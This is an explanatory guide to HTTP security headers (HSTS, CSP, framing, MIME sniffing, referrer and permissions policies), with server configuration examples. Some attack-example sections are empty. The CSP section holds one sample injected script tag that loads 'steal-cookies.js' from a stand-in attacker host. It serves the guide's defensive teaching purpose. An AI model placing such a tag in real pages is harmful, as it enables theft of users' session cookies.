HTTP Security Headers: Your Website's First Line of Defense
HTTP security headers are instructions your web server sends to browsers, telling them how to behave when handling your site's content. They're one of the easiest and most effective ways to protect your users from common web attacks.
Why Security Headers Matter
Without security headers, browsers make default assumptions that may not be safe. Attackers exploit these defaults to steal data, hijack sessions, and trick users. Security headers tell browsers exactly how to protect your users.
Without Headers
- Site can be embedded in malicious iframes
- Browsers may interpret files incorrectly
- Connections can be downgraded to HTTP
- Scripts from any source can execute
With Headers
- Clickjacking attacks blocked
- MIME-type confusion prevented
- HTTPS enforced automatically
- Only approved scripts can run
1. Strict-Transport-Security (HSTS)
What it does: Forces browsers to always use HTTPS, even if the user types "http://" or clicks an HTTP link. Once set, the browser will automatically convert all HTTP requests to HTTPS.
Real-World Attack It Prevents
Example Configuration
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
What Each Part Means
max-age=31536000- Remember this setting for 1 year (31,536,000 seconds)includeSubDomains- Apply to all subdomains too (api.example.com, www.example.com)preload- Allow inclusion in browser preload lists (ultimate protection)
2. Content-Security-Policy (CSP)
What it does: Controls which resources (scripts, styles, images, fonts) can load on your page. It's the most powerful header for preventing XSS attacks, but also the most complex to configure.
Real-World Attack It Prevents
<script src="https://evil.com/steal-cookies.js"></script>
Example Configuration
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com
What Each Directive Means
default-src 'self'- By default, only load resources from your own domainscript-src 'self' https://cdn.example.com- Scripts only from your domain and your CDNstyle-src 'self' 'unsafe-inline'- Styles from your domain, allow inline stylesimg-src 'self' data: https:- Images from your domain, data URIs, or any HTTPS sourcefont-src 'self' https://fonts.gstatic.com- Fonts from your domain and Google Fonts
Content-Security-Policy-Report-Only first
to see what would be blocked without actually breaking your site. Fix issues, then switch to enforcing mode.
3. X-Frame-Options
What it does: Controls whether your site can be embedded in iframes on other sites. This prevents clickjacking attacks where your site is invisibly overlaid on a malicious page.
Real-World Attack It Prevents
Example Configuration
X-Frame-Options: DENY
Available Options
DENY- Never allow framing (most secure)SAMEORIGIN- Only allow framing by pages on the same domainALLOW-FROM https://trusted.com- Only allow framing by a specific domain (deprecated)
frame-ancestors directive provides more
flexibility: frame-ancestors 'self' https://partner.com
4. X-Content-Type-Options
What it does: Prevents browsers from "sniffing" the content type of files. This stops attacks where malicious files are disguised as harmless ones.
Real-World Attack It Prevents
Example Configuration
X-Content-Type-Options: nosniff
There's only one value: nosniff. This tells browsers: "Trust the Content-Type header
I send. Don't try to guess."
5. Referrer-Policy
What it does: Controls what information is sent in the Referer header when users click links or load resources from your site. This protects user privacy and prevents data leakage.
Real-World Privacy Issue It Prevents
/user/12345/medical-records.
When a user clicks an external link, by default the full URL is sent to that site - revealing
user IDs and sensitive page information. With proper Referrer-Policy, you control exactly what's shared.
Example Configuration
Referrer-Policy: strict-origin-when-cross-origin
Common Policies Explained
no-referrer- Never send referrer information (most private)same-origin- Only send referrer for same-origin requestsstrict-origin- Send only the origin (not full URL) for HTTPS, nothing for HTTPstrict-origin-when-cross-origin- Full URL for same-origin, just origin for cross-origin (recommended)
6. Permissions-Policy
What it does: Controls which browser features (camera, microphone, geolocation, etc.) can be used on your site and by embedded content. This limits the damage if your site is compromised.
Real-World Risk It Mitigates
Example Configuration
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)
What This Example Does
camera=()- No one can access the camera, not even your own sitemicrophone=()- Microphone access completely disabledgeolocation=()- Location tracking disabledpayment=(self)- Only your own site can use the Payment Request API
Quick Implementation Guide
Apache (.htaccess)
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains" Header always set X-Frame-Options "DENY" Header always set X-Content-Type-Options "nosniff" Header always set Referrer-Policy "strict-origin-when-cross-origin" Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()" Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"
Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; add_header X-Frame-Options "DENY" always; add_header X-Content-Type-Options "nosniff" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
Express.js (Node.js)
const helmet = require('helmet');
app.use(helmet()); // Adds sensible defaults for all headers
Testing Your Headers
After implementing security headers, it's crucial to verify they're working correctly. Use our free tool to scan your site and get a detailed report.
Summary: Header Cheat Sheet
| Header | Protects Against | Recommended Value |
|---|---|---|
| Strict-Transport-Security | SSL stripping, downgrade attacks | max-age=31536000; includeSubDomains |
| Content-Security-Policy | XSS, code injection | default-src 'self' (customize per site) |
| X-Frame-Options | Clickjacking | DENY |
| X-Content-Type-Options | MIME sniffing attacks | nosniff |
| Referrer-Policy | URL data leakage | strict-origin-when-cross-origin |
| Permissions-Policy | Feature abuse | camera=(), microphone=(), geolocation=() |